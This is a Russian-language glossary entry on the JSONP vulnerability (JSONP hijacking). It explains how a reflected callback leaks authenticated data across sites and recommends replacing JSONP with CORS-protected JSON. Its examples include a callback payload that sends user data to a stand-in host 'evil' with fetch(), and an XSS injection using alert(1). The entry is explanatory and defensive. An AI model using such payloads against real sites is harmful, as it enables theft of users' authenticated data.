Уязвимость JSONP
Что такое Уязвимость JSONP?
Уязвимость JSONPМежсайтовая утечка данных через JSONP-эндпоинты, возвращающие аутентифицированные данные, обёрнутые в callback-функцию, заданную атакующим.
JSONP (JSON with Padding) — устаревшая техника межсайтовой передачи данных: сервер возвращает JavaScript вида callback({...}), который удалённая страница подключает через <script src>. Уязвимости JSONP возникают, когда такие эндпоинты возвращают аутентифицированные данные пользователя, а параметр callback отражается без проверки: атакующий публикует страницу, которая загружает JSONP-URL с собственным именем функции и перехватывает ответ, обходя политику одного источника и тогдашние защиты SameSite. Если в ответ попадает контент за пределами корректного идентификатора, шаблон допускает XSS. Современный подход — полностью отказаться от JSONP, заменить его на JSON, защищённый CORS, и не публиковать чувствительные эндпоинты для подключения через <script>.
● Примеры
- 01
/api/me?callback=window['x']=function(d){fetch('https://evil/?d='+JSON.stringify(d))}.
- 02
Параметр callback отражается дословно, что позволяет XSS через callback=alert(1)//.
● Частые вопросы
Что такое Уязвимость JSONP?
Межсайтовая утечка данных через JSONP-эндпоинты, возвращающие аутентифицированные данные, обёрнутые в callback-функцию, заданную атакующим. Относится к категории Атаки и угрозы в кибербезопасности.
Что означает Уязвимость JSONP?
Межсайтовая утечка данных через JSONP-эндпоинты, возвращающие аутентифицированные данные, обёрнутые в callback-функцию, заданную атакующим.
Как защититься от Уязвимость JSONP?
Защита от Уязвимость JSONP обычно сочетает технические меры и операционные практики, как описано в определении выше.
Какие есть другие названия Уязвимость JSONP?
Распространённые альтернативные названия: Утечка JSONP, JSONP hijacking.